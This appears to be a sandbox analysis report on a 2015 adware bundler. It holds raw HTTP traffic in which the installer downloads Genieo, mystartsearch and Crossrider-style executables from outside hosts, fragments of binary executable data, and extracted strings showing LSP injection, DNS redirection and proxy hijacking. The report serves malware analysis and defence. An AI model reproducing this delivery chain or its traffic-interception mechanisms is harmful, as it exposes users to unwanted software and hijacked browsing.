7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.88 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:05 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.88 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.26 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.26 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -V01YQ-wJeHEIaRPk72RAQS8owQeZwpNilXUcpmAH2-L0NFzDu9osA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: y5eAA6QTt WMoGhmic6GWAWDU3Jy79QSuWsArxZiw IcnDhGQv0iT8ghTFOOxENbKcQgO b5Ma4=

x-amz-request-id: C34DF1073FBE8907

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 617755-988407/988408

Content-Type: application/octet-stream

Content-Length: 370653

Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
...........7.k.vJ...n.._........}i..}.Y...............:.X(...J....lWy.
^.V...lUL..m...&.d....^q.?wk......`x(.5{....0.(...#%^...........`.....
...wpbp...._B...I....{.A....l.,.Rt,.d.[t5.X.............../a|.mH......
K.v....`.....Z....P_f:....k....e..e.-........`..VcS..fg...)a,MI.."..?.
=.o..j0r!.&.Q5........<e...%Z.....V.....;.s.Cl..F.=..>.5j..._..1
P.M.....tv`.FT][email protected]./.2S
.. ,.u...0O.......K..........9]<.p*M.S...p.......v.mW......$t..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c220RQS2y_d5edsshK3WzhUFpLXIyI99iDWnVNxIoWxKUKkmQ8iZog==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PWRS5vvXphncV0ye_CKg-uNbKo3sLM6xmJmYu0l0sXz8wCUV2LYqBQ==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

The Application connects to the servers at the folowing location(s):

jsdrv.exe_1688:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

PhP%c

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@uf

j.hHcg

j.hX"h

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

